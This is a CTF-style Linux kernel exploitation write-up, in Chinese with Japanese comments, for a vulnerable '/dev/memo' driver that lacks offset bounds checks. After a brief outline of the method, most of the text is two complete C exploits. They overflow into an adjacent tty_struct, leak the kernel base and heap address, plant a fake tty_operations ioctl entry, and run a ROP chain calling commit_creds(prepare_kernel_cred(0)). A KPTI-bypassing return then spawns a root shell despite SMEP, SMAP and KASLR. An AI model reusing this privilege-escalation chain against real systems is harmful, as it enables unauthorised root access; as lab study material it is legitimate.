启动脚本
#!/bin/sh
qemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr quiet" \
-cpu kvm64,+smep,+smap \
-monitor /dev/null \
-nographic -enable-kvm
/ # dmesg | grep 'page table'
[ 0.712632] Kernel/User page tables isolation: enabled
/ # cat /proc/cpuinfo | grep pti
fpu_exception : yes
flags : ... pti smep smap
smep,smap,kaslr,pti都开启了
问题
mod_read
和mod_write
中,没有检查filp->f_ops
+count
的情况
利用方式
#define DEVICE_NAME "memo"
#define MAX_SIZE 0x400
memo = kmalloc(MAX_SIZE, GFP_KERNEL);
1、在驱动打开的时候,分配的memo是kmalloc-0x400的slab
2、分配tty_struct
,使得与memo在同一kcache中,并且在memo下方
3、通过读memo下方的tty_struct
,从而得到内核基地址(绕过kaslr)和堆相关的地址(从而获得memo的地址kernheap,布置rop)
4、将tty_struct->tty_operations
指向memo
的0x300处
5、将memo
的0x300开始布置tty_operations
,在0x300+0xC*8处布置tty_operations->ioctl
,一个栈迁移指令
6、将rop布置到memo
起始处(通过swapgs_restore_regs_and_return_to_usermode
绕过PTI
)
7、ioctl(ptmx, kernheap, kernheap); kernheap为rdi
提权
exp1
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#define ulong unsigned long
ulong user_cs, user_ss, user_sp, user_rflags;
void pop_shell(void)
{
char *argv[] = {"/bin/sh", NULL};
char *envp[] = {NULL};
execve("/bin/sh", argv, envp);
}
static void save_state(void)
{
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags) : : "memory");
}
int main(void)
{
// 前提是可以溢出,
int memo = open("/dev/memo", O_RDWR); // 申请 0x400的空间
int ptmx = open("/dev/ptmx", O_RDWR | O_NOCTTY); // 申请 0x400 tty_struct
char buf[0x400];
ulong *rop;
ulong kernbase, kernheap;
/**** gadgets ****/
ulong off_ptm_unix98_ops_kernbase = 0x6191e0;
ulong off_kernheap = 0x438;
// 0xffffffff810243b8: push rdx ; pop rsp ; sub eax, 0x0002E5AC ; pop rax ; pop rbx ; pop r12 ; pop r13 ; pop r14 ; pop rbp ; ret ; (1 found)
ulong gad1 = 0x243b8;
// 0xffffffff810e7ae8: pop rdi ; ret ; (47 found)
ulong pop_rdi = 0xe7ae8;
// 0xffffffff8100fc8e: mov rdi, rax ; rep movsq ; ret ; (1 found)
ulong mov_rdi_rax = 0xfc8e;
// 0xffffffff810fb892: pop rcx ; add cl, byte [rax-0x7D] ; ret ; (2 found)
ulong pop_rcx = 0xfb892;
ulong prepare_kernel_cred = 0x44850;
ulong commit_creds = 0x44680;
/*
0xffffffff812009c4 <+68>: mov rdi,rsp
0xffffffff812009c7 <+71>: mov rsp,QWORD PTR ds:0xffffffff81806004
0xffffffff812009cf <+79>: push QWORD PTR [rdi+0x30]
0xffffffff812009d2 <+82>: push QWORD PTR [rdi+0x28]
0xffffffff812009d5 <+85>: push QWORD PTR [rdi+0x20]
0xffffffff812009d8 <+88>: push QWORD PTR [rdi+0x18]
0xffffffff812009db <+91>: push QWORD PTR [rdi+0x10]
0xffffffff812009de <+94>: push QWORD PTR [rdi]
0xffffffff812009e0 <+96>: push rax
0xffffffff812009e1 <+97>: xchg ax,ax
0xffffffff812009e3 <+99>: mov rdi,cr3
0xffffffff812009e6 <+102>: jmp 0xffffffff81200a1a <common_interrupt+154>
0xffffffff812009e8 <+104>: mov rax,rdi
0xffffffff812009eb <+107>: and rdi,0x7ff
*/
ulong swapgs_restore_regs_and_return_to_usermode = 0x2009c4;
// 保存状态
save_state();
// 溢出,读取 tty_struct
lseek(memo, 0x300, SEEK_SET);
read(memo, buf, 0x400);
// leak kernbase and kernheap
// 可以从 tty_struct 中获取两类数据,代码的基地址,堆的基地址
kernbase = *(unsigned long *)(buf + 0x100 + 0x18) - off_ptm_unix98_ops_kernbase; // 这个很明显
printf("kernbase: %lx\n", kernbase);
// struct tty_struct-> read_wait(list_head)->next 指向了自己
// 这个地方 off_kernheap 在不同的环境下不一定,需要自己调试确认一下
kernheap = *(unsigned long *)(buf + 0x100 + 0x38) - off_kernheap; // kernheap 是 /dev/memo 堆地址
printf("kernheap: %lx\n", kernheap);
// vtableへのポインタの書き換え
*(unsigned long *)(buf + 0xc * 8) = kernbase + gad1; // fake ioctl entry
*(unsigned long *)(buf + 0x100 + 0x18) = kernheap + 0x300; // fake vtable pointer // 将提取代码布置到 第一个0x400中
lseek(memo, 0x300, SEEK_SET);
write(memo, buf, 0x400); // overwrite ops and ioctl entry
// ROP chain
rop = (unsigned long *)buf;
// gad1のごまかし*6
*rop++ = 0x0;
*rop++ = 0x0;
*rop++ = 0x0;
*rop++ = 0x0;
*rop++ = 0x0;
*rop++ = 0x0;
// init_task の cred を入手
*rop++ = kernbase + pop_rdi;
*rop++ = 0;
*rop++ = kernbase + prepare_kernel_cred;
// 入手したcredを引数にしてcommit
*rop++ = kernbase + pop_rcx; // mov_rdi_raxガジェットがrepを含んでいるため、カウンタ0にしておく
*rop++ = 0;
*rop++ = kernbase + mov_rdi_rax;
*rop++ = kernbase + commit_creds;
// return to usermode by swapgs_restore_regs_and_return_to_usermode
*rop++ = kernbase + swapgs_restore_regs_and_return_to_usermode;
*rop++ = 0;
*rop++ = 0;
*rop++ = (ulong)&pop_shell;
*rop++ = user_cs;
*rop++ = user_rflags;
*rop++ = user_sp;
*rop++ = user_ss;
// invoke shell
lseek(memo, 0x0, SEEK_SET);
write(memo, buf, 0x100);
// ioctl(ptmx,0xdeadbeef,0xcafebabe);
// ioctl(ptmx,rip,rdx)
// rip = 0xdeadbeef
// rdx = 0xcafebabe
ioctl(ptmx, kernheap, kernheap);
return 0;
}
exp2
// https://hackmd.io/@ptr-yudai/rJp1TpbBU
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/types.h>
unsigned long kbase, kheap;
unsigned long ptm_unix98_ops = 0xe65900;
unsigned long rop_mov_cr4_edi = 0x04b6a1;
unsigned long rop_push_r12_add_rbp_41_ebx_pop_rsp_r13 = 0x94d4e3;
unsigned long rop_pop_rdi = 0x001268;
unsigned long rop_pop_rcx = 0x04c852;
unsigned long rop_mov_rdi_rax = 0x019dcb;
unsigned long rop_bypass_kpti = 0xa00a45;
unsigned long commit_creds = 0xffffffff9127b8b0 - 0xffffffff91200000;
unsigned long prepare_kernel_cred = 0xffffffff9127bb50 - 0xffffffff91200000;
unsigned long user_cs;
unsigned long user_ss;
unsigned long user_sp;
unsigned long user_rflags;
static void save_state()
{
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags)
:
: "memory");
}
static void win() {
char *argv[] = {"/bin/sh", NULL};
char *envp[] = {NULL};
puts("[+] Win!");
execve("/bin/sh", argv, envp);
}
int main() {
unsigned long buf[0x400 / sizeof(unsigned long)];
save_state();
/* open drivers */
int fd = open("/dev/memo", O_RDWR);
if (fd < 0) {
perror("/dev/memo");
return 1;
}
int ptmx = open("/dev/ptmx", O_RDWR | O_NOCTTY);
if (ptmx < 0) {
perror("/dev/ptmx");
return 1;
}
/* leak kbase & kheap */
lseek(fd, 0x100, SEEK_SET);
read(fd, buf, 0x400);
kbase = buf[(0x300 + 0x18) / sizeof(unsigned long)] - ptm_unix98_ops;
kheap = buf[(0x300 + 0x38) / sizeof(unsigned long)] - 0x38 - 0x400;
printf("[+] kbase = 0x%016lx\n", kbase);
printf("[+] kheap = 0x%016lx\n", kheap);
/* write fake vtable, rop chain & overwrite ops */
// fake tty_struct
buf[(0x300 + 0x18) / sizeof(unsigned long)] = kheap + 0x100; // ops
// fake tty_operations
buf[12] = kbase + rop_push_r12_add_rbp_41_ebx_pop_rsp_r13; // ioctl
// rop chain
unsigned long *chain = &buf[0x100 / sizeof(unsigned long)];
*chain++ = kbase + rop_pop_rdi;
*chain++ = 0;
*chain++ = kbase + prepare_kernel_cred;
*chain++ = kbase + rop_pop_rcx; // make rcx 0 to bypass rep
*chain++ = 0;
*chain++ = kbase + rop_mov_rdi_rax;
*chain++ = kbase + commit_creds; // cc(pkc(0));
*chain++ = kbase + rop_bypass_kpti; // return to usermode
*chain++ = 0xdeadbeef;
*chain++ = 0xdeadbeef;
*chain++ = (unsigned long)&win;
*chain++ = user_cs;
*chain++ = user_rflags;
*chain++ = user_sp;
*chain++ = user_ss;
// overwrite!
lseek(fd, 0x100, SEEK_SET);
write(fd, buf, 0x400);
/* ignite! */
ioctl(ptmx, 0xdeadbeef, kheap + 0x200 - 8); // -8 for pop r13
return 0;
}